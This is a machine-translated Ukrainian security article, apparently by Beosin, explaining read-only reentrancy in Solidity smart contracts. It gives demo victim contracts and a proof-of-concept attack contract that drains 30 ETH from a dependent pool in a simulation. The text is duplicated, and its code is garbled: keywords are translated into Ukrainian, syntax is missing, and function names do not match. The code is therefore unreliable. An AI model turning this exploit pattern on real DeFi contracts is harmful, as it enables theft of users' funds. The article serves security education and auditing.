Автор цієї статті: експерт з питань безпеки Beosin Сіван
Останнім часом в екосистемі блокчейну було багато атак повторного входу. Ці атаки не схожі на вразливості повторного входу, які ми знали раніше, а атаки повторного входу лише для читання, які відбуваються, коли проект має блокування повторного входу.
Необхідні знання для сьогоднішнього аудиту безпеки, команда досліджень безпеки Beosin пояснить вам, що таке «атака повторного входу лише для читання».
Які ситуації призводять до ризику вразливості повторного входу?
У процесі програмування смарт-контрактів Solidity одному смарт-контракту дозволено викликати код іншого смарт-контракту. У бізнес-дизайні багатьох проектів необхідно надіслати ETH на певну адресу, але якщо адресою отримання ETH є смарт-контракт, буде викликана резервна функція смарт-контракту. Якщо зловмисник пише добре розроблений код у резервній функції контракту, може виникнути ризик уразливості повторного входу.
Зловмисник може повторно ініціювати виклик контракту проекту в резервній функції зловмисного контракту. У цей час процес першого виклику не закінчено, а деякі змінні не змінено. У цьому випадку другий виклик спричинить у контракті проекту використовувати незвичайні змінні, виконувати відповідні обчислення або дозволяти зловмиснику обійти деякі перевірочні обмеження.
Іншими словами, корінь уразливості повторного входу полягає у виклику інтерфейсу цільового контракту після виконання передачі, а зміна книги призводить до обходу перевірки після виклику цільового контракту, тобто дизайн не суворо відповідно до режиму перевірки-перевірки-взаємодії. Таким чином, окрім уразливості повторного входу, викликаної передачами через Ethereum, деякі неправильні проекти також можуть призвести до атак повторного входу, як-от наведений нижче приклад:
1. Виклик керованих зовнішніх функцій призведе до можливості повторного входу
2. Функції безпеки ERC721/1155 можуть спричинити повторний вхід
Наразі атаки повторного входу є поширеною вразливістю. Більшість розробників блокчейн-проектів також усвідомлюють небезпеку атак повторного входу. Блокування повторного входу в основному встановлюються в проектах, тому під час виклику функції з блокуванням повторного входу будь-яка функція, яка зберігає той самий реентерант замок не можна викликати знову. Хоча блокування повторного входу може ефективно запобігти вищевказаним атакам повторного входу, існує ще одна атака під назвою «повторний доступ лише для читання», яку важко запобігти.
Що таке "повторний доступ лише для читання", якому важко запобігти?
Вище ми представили загальні типи повторного входу, основою яких є використання аномального стану для обчислення нового стану після повторного входу, що призводить до оновлення аномального стану. Тоді, якщо функція, яку ми викликаємо, є модифікованою для перегляду функцією лише для читання, у функції не буде змінено стан, і після виклику функції це не матиме жодного впливу на цей контракт. Тому розробники таких функціональних проектів не будуть приділяти занадто багато уваги ризику повторного входу і не будуть додавати до нього блокування повторного входу.
Хоча функція, змінена переглядом повторного входу, в основному не вплине на цей контракт, існує інша ситуація, коли контракт викличе функцію перегляду інших контрактів як залежність даних, а функція перегляду цього контракту не додає повторного входу Тоді це може призвести до ризику повторного входу лише для читання.
Наприклад, контракт проекту A може заставляти токени та знімати токени, а також надавати функцію запиту цін відповідно до загальної кількості токенів і заставлених контрактних сертифікатів. Існує блокування повторного входу між заставленими токенами та вилученими токенами, а також запит функція не працює. Існує блокування повторного входу. Існує ще один проект B, який забезпечує функцію зняття застави. Існує блокування повторного входу між заставою та зняттям. Функція зняття застави покладається на функцію запиту ціни проекту A для розрахунку токена ваучера.
Існує ризик повторного входу лише для читання між двома вищезгаданими проектами, як показано на малюнку нижче:
Зловмисник робить ставки та вилучає токени в ContractA.
Вилучення токенів викличе резервну функцію контракту зловмисника.
Зловмисник знову викликає функцію застави в ContractB у контракті.
Функція застави викличе функцію розрахунку ціни Contract A. Наразі статус контракту Contract A не оновлено, що призводить до помилки в обчисленій ціні, і більше токенів обчислюється та надсилається зловмиснику.
Після завершення повторного входу статус ContractA оновлюється.
Нарешті, зловмисник викликає ContractB для вилучення токенів.
На даний момент дані, отримані ContractB, оновлено, і більше токенів можна вилучити.
Принциповий аналіз коду
Ми беремо наведену нижче демонстрацію як приклад, щоб пояснити проблему повторного входу лише для читання. Нижче наведено лише тестовий код без реальної бізнес-логіки. Він використовується лише як довідник для вивчення повторного входу лише для читання.
Напишіть Контракт Контракт:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; відображення (address => uint256) public _balances; bool check=true; /** * Блокування повторного входу. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Розрахувати заставу на основі загальної кількості токенів і сума застави контрактного сертифіката Вартість, 10e8 для точної обробки. **/ функція get_price() публічний перегляд віртуального повернення (uint256) { if(_totalSupply==0||_allstake==0) повернення 10e8; повернення _totalSupply*10e8/_allstake; } /\ ** * Застава користувача, збільшення суми застави та надання валюти ваучера. **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * Користувач знімає, зменшує суму застави та знищує загальну суму токена. **/ функція стягнення(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
Розгорніть контракт ContractA та заставте 50 ETH, і проект симуляції вже запущено.
Напишіть контракт ContractB (залежно від функції get_price контракту ContractA):
pragma solidity ^0.8.21; інтерфейс ContractA { функція get_price() зовнішній вигляд повертає (uint256);}contract ContractB { ContractA contract_a; відображення (адреса => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Токени застави , обчислити вартість закладених токенів відповідно до get_price() контракту ContractA та обчислити кількість токенів ваучерів**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Зняти токени та розрахувати ваучерні токени відповідно до контракту ContractA get_price() Обчислити вартість вилучених tokens**/ function removeFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 сума=burnamount*10e8/contract_a. get_price(); msg.sender .call{value:amount}(""); } функція balanceof(address acount) public view повертає (uint256){ return _balances [acount] ;
Розгорніть контракт ContractB, щоб установити адресу ContractA, і заставте 30 ETH, і проект симуляції вже запущено.
Напишіть договір POC для атаки:
pragma solidity ^0.8.21;інтерфейс ContractA { функція депозит() зовнішній платіжний; функція зняття(uint256 сума) зовнішній;}інтерфейс ContractB { функція depositFunds() зовнішній платіжний; дія balanceof(адреса acount) зовнішній вигляд повертає (uint256);} contract POC { ContractA contract_a; ContractB contract_b; адрес, що підлягає оплаті _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * Атака починає викликати функцію, додати ліквідність, видалити ліквідність і, нарешті, вилучити токени. **/ function start(uint256 сума)public { contract_a.deposit{value:amount}(); contract_a.withdraw(сума); contract_b.withdrawFunds(contract_b.balanceof(address(this) ))); } /** * Функція стекінгу викликається під час повторного входу. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Після завершення атаки виведіть ETH. **/ функція getEther() public { _owner.transfer(address(this).balance); } /** * функція зворотного виклику, ключ повторного входу. **/ fallback() payable external { if(msg.sender==address(contract_a)){ deposit(); }
Змініть обліковий запис на інший обліковий запис EOA, щоб розгорнути договір атаки та передати 50 ETH, а також установіть адреси ContractA та ContractB.
Передайте 50000000000000000000 (50*10^18) у функцію start і виконайте її, щоб виявити, що 30ETH ContractB було передано контрактом POC.
Знову викликайте функцію getEther, і адреса зловмисника отримає 30 ETH.
Аналіз процесу виклику коду:
Функція start спочатку викликає депозитну функцію контракту ContractA, щоб закладати ETH. Зловмисник передає 50*10^18 плюс 50*10^18, що належать початковому контракту. У цей час _allstake і _totalSupply обидва дорівнюють 100*10 ^18.
Далі викличте функцію вилучення контракту ContractA, щоб вилучити токени. Контракт спочатку оновить _allstake і надішле 50 ETH до контракту атаки. У цей час він викличе резервну функцію контракту атаки та, нарешті, оновить _totalSupply .
У резервній функції контракт атаки викликає контракт ContractB для застави 30 ETH. Оскільки get_price є функцією перегляду, контракт ContractB успішно повторно входить у функцію get_price ContractA. Наразі, оскільки _totalSupply не оновлено, воно все ще дорівнює 100\ *10^18, але _allstake зменшено до 50*10^18, тому значення, яке тут повертається, буде подвоєне. Це додасть 60*10^18 токенів до контракту атаки.
Після завершення повторного входу контракт атаки викликає контракт ContractB для вилучення ETH. У цей час _totalSupply оновлено до 50*10^18, і буде розраховано ту саму суму ETH, що й валюта сертифіката. Переведено 60ETH на контракт атаки. Зрештою зловмисник отримав прибуток у 30 ETH.
Поради щодо безпеки Beosin
Для вищевказаних проблем безпеки команда безпеки Beosin пропонує: Для проектів, які повинні покладатися на інші проекти як підтримку даних, безпеку бізнес-логіки комбінації залежного проекту та його власного проекту слід суворо перевіряти. У випадку, якщо в обох проектах немає проблем, після їх об’єднання можуть виникнути серйозні проблеми з безпекою.
Переглянути оригінал
Ця сторінка може містити контент третіх осіб, який надається виключно в інформаційних цілях (не в якості запевнень/гарантій) і не повинен розглядатися як схвалення його поглядів компанією Gate, а також як фінансова або професійна консультація. Див. Застереження для отримання детальної інформації.
Основні знання для перевірки безпеки: що таке «атака повторного входу лише для читання», яка останнім часом часто трапляється і яку важко запобігти?
Автор цієї статті: експерт з питань безпеки Beosin Сіван
Останнім часом в екосистемі блокчейну було багато атак повторного входу. Ці атаки не схожі на вразливості повторного входу, які ми знали раніше, а атаки повторного входу лише для читання, які відбуваються, коли проект має блокування повторного входу.
Необхідні знання для сьогоднішнього аудиту безпеки, команда досліджень безпеки Beosin пояснить вам, що таке «атака повторного входу лише для читання».
Які ситуації призводять до ризику вразливості повторного входу?
У процесі програмування смарт-контрактів Solidity одному смарт-контракту дозволено викликати код іншого смарт-контракту. У бізнес-дизайні багатьох проектів необхідно надіслати ETH на певну адресу, але якщо адресою отримання ETH є смарт-контракт, буде викликана резервна функція смарт-контракту. Якщо зловмисник пише добре розроблений код у резервній функції контракту, може виникнути ризик уразливості повторного входу.
Зловмисник може повторно ініціювати виклик контракту проекту в резервній функції зловмисного контракту. У цей час процес першого виклику не закінчено, а деякі змінні не змінено. У цьому випадку другий виклик спричинить у контракті проекту використовувати незвичайні змінні, виконувати відповідні обчислення або дозволяти зловмиснику обійти деякі перевірочні обмеження.
Іншими словами, корінь уразливості повторного входу полягає у виклику інтерфейсу цільового контракту після виконання передачі, а зміна книги призводить до обходу перевірки після виклику цільового контракту, тобто дизайн не суворо відповідно до режиму перевірки-перевірки-взаємодії. Таким чином, окрім уразливості повторного входу, викликаної передачами через Ethereum, деякі неправильні проекти також можуть призвести до атак повторного входу, як-от наведений нижче приклад:
1. Виклик керованих зовнішніх функцій призведе до можливості повторного входу
2. Функції безпеки ERC721/1155 можуть спричинити повторний вхід
Наразі атаки повторного входу є поширеною вразливістю. Більшість розробників блокчейн-проектів також усвідомлюють небезпеку атак повторного входу. Блокування повторного входу в основному встановлюються в проектах, тому під час виклику функції з блокуванням повторного входу будь-яка функція, яка зберігає той самий реентерант замок не можна викликати знову. Хоча блокування повторного входу може ефективно запобігти вищевказаним атакам повторного входу, існує ще одна атака під назвою «повторний доступ лише для читання», яку важко запобігти.
Що таке "повторний доступ лише для читання", якому важко запобігти?
Вище ми представили загальні типи повторного входу, основою яких є використання аномального стану для обчислення нового стану після повторного входу, що призводить до оновлення аномального стану. Тоді, якщо функція, яку ми викликаємо, є модифікованою для перегляду функцією лише для читання, у функції не буде змінено стан, і після виклику функції це не матиме жодного впливу на цей контракт. Тому розробники таких функціональних проектів не будуть приділяти занадто багато уваги ризику повторного входу і не будуть додавати до нього блокування повторного входу.
Хоча функція, змінена переглядом повторного входу, в основному не вплине на цей контракт, існує інша ситуація, коли контракт викличе функцію перегляду інших контрактів як залежність даних, а функція перегляду цього контракту не додає повторного входу Тоді це може призвести до ризику повторного входу лише для читання.
Наприклад, контракт проекту A може заставляти токени та знімати токени, а також надавати функцію запиту цін відповідно до загальної кількості токенів і заставлених контрактних сертифікатів. Існує блокування повторного входу між заставленими токенами та вилученими токенами, а також запит функція не працює. Існує блокування повторного входу. Існує ще один проект B, який забезпечує функцію зняття застави. Існує блокування повторного входу між заставою та зняттям. Функція зняття застави покладається на функцію запиту ціни проекту A для розрахунку токена ваучера.
Існує ризик повторного входу лише для читання між двома вищезгаданими проектами, як показано на малюнку нижче:
Зловмисник робить ставки та вилучає токени в ContractA.
Вилучення токенів викличе резервну функцію контракту зловмисника.
Зловмисник знову викликає функцію застави в ContractB у контракті.
Функція застави викличе функцію розрахунку ціни Contract A. Наразі статус контракту Contract A не оновлено, що призводить до помилки в обчисленій ціні, і більше токенів обчислюється та надсилається зловмиснику.
Після завершення повторного входу статус ContractA оновлюється.
Нарешті, зловмисник викликає ContractB для вилучення токенів.
На даний момент дані, отримані ContractB, оновлено, і більше токенів можна вилучити.
Принциповий аналіз коду
Ми беремо наведену нижче демонстрацію як приклад, щоб пояснити проблему повторного входу лише для читання. Нижче наведено лише тестовий код без реальної бізнес-логіки. Він використовується лише як довідник для вивчення повторного входу лише для читання.
Напишіть Контракт Контракт:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; відображення (address => uint256) public _balances; bool check=true; /** * Блокування повторного входу. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Розрахувати заставу на основі загальної кількості токенів і сума застави контрактного сертифіката Вартість, 10e8 для точної обробки. **/ функція get_price() публічний перегляд віртуального повернення (uint256) { if(_totalSupply==0||_allstake==0) повернення 10e8; повернення _totalSupply*10e8/_allstake; } /\ ** * Застава користувача, збільшення суми застави та надання валюти ваучера. **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * Користувач знімає, зменшує суму застави та знищує загальну суму токена. **/ функція стягнення(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
Розгорніть контракт ContractA та заставте 50 ETH, і проект симуляції вже запущено.
Напишіть контракт ContractB (залежно від функції get_price контракту ContractA):
pragma solidity ^0.8.21; інтерфейс ContractA { функція get_price() зовнішній вигляд повертає (uint256);}contract ContractB { ContractA contract_a; відображення (адреса => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Токени застави , обчислити вартість закладених токенів відповідно до get_price() контракту ContractA та обчислити кількість токенів ваучерів**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Зняти токени та розрахувати ваучерні токени відповідно до контракту ContractA get_price() Обчислити вартість вилучених tokens**/ function removeFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 сума=burnamount*10e8/contract_a. get_price(); msg.sender .call{value:amount}(""); } функція balanceof(address acount) public view повертає (uint256){ return _balances [acount] ;
Розгорніть контракт ContractB, щоб установити адресу ContractA, і заставте 30 ETH, і проект симуляції вже запущено.
Напишіть договір POC для атаки:
pragma solidity ^0.8.21;інтерфейс ContractA { функція депозит() зовнішній платіжний; функція зняття(uint256 сума) зовнішній;}інтерфейс ContractB { функція depositFunds() зовнішній платіжний; дія balanceof(адреса acount) зовнішній вигляд повертає (uint256);} contract POC { ContractA contract_a; ContractB contract_b; адрес, що підлягає оплаті _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * Атака починає викликати функцію, додати ліквідність, видалити ліквідність і, нарешті, вилучити токени. **/ function start(uint256 сума)public { contract_a.deposit{value:amount}(); contract_a.withdraw(сума); contract_b.withdrawFunds(contract_b.balanceof(address(this) ))); } /** * Функція стекінгу викликається під час повторного входу. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Після завершення атаки виведіть ETH. **/ функція getEther() public { _owner.transfer(address(this).balance); } /** * функція зворотного виклику, ключ повторного входу. **/ fallback() payable external { if(msg.sender==address(contract_a)){ deposit(); }
Змініть обліковий запис на інший обліковий запис EOA, щоб розгорнути договір атаки та передати 50 ETH, а також установіть адреси ContractA та ContractB.
Передайте 50000000000000000000 (50*10^18) у функцію start і виконайте її, щоб виявити, що 30ETH ContractB було передано контрактом POC.
Знову викликайте функцію getEther, і адреса зловмисника отримає 30 ETH.
Аналіз процесу виклику коду:
Функція start спочатку викликає депозитну функцію контракту ContractA, щоб закладати ETH. Зловмисник передає 50*10^18 плюс 50*10^18, що належать початковому контракту. У цей час _allstake і _totalSupply обидва дорівнюють 100*10 ^18.
Далі викличте функцію вилучення контракту ContractA, щоб вилучити токени. Контракт спочатку оновить _allstake і надішле 50 ETH до контракту атаки. У цей час він викличе резервну функцію контракту атаки та, нарешті, оновить _totalSupply .
У резервній функції контракт атаки викликає контракт ContractB для застави 30 ETH. Оскільки get_price є функцією перегляду, контракт ContractB успішно повторно входить у функцію get_price ContractA. Наразі, оскільки _totalSupply не оновлено, воно все ще дорівнює 100\ *10^18, але _allstake зменшено до 50*10^18, тому значення, яке тут повертається, буде подвоєне. Це додасть 60*10^18 токенів до контракту атаки.
Після завершення повторного входу контракт атаки викликає контракт ContractB для вилучення ETH. У цей час _totalSupply оновлено до 50*10^18, і буде розраховано ту саму суму ETH, що й валюта сертифіката. Переведено 60ETH на контракт атаки. Зрештою зловмисник отримав прибуток у 30 ETH.
Поради щодо безпеки Beosin
Для вищевказаних проблем безпеки команда безпеки Beosin пропонує: Для проектів, які повинні покладатися на інші проекти як підтримку даних, безпеку бізнес-логіки комбінації залежного проекту та його власного проекту слід суворо перевіряти. У випадку, якщо в обох проектах немає проблем, після їх об’єднання можуть виникнути серйозні проблеми з безпекою.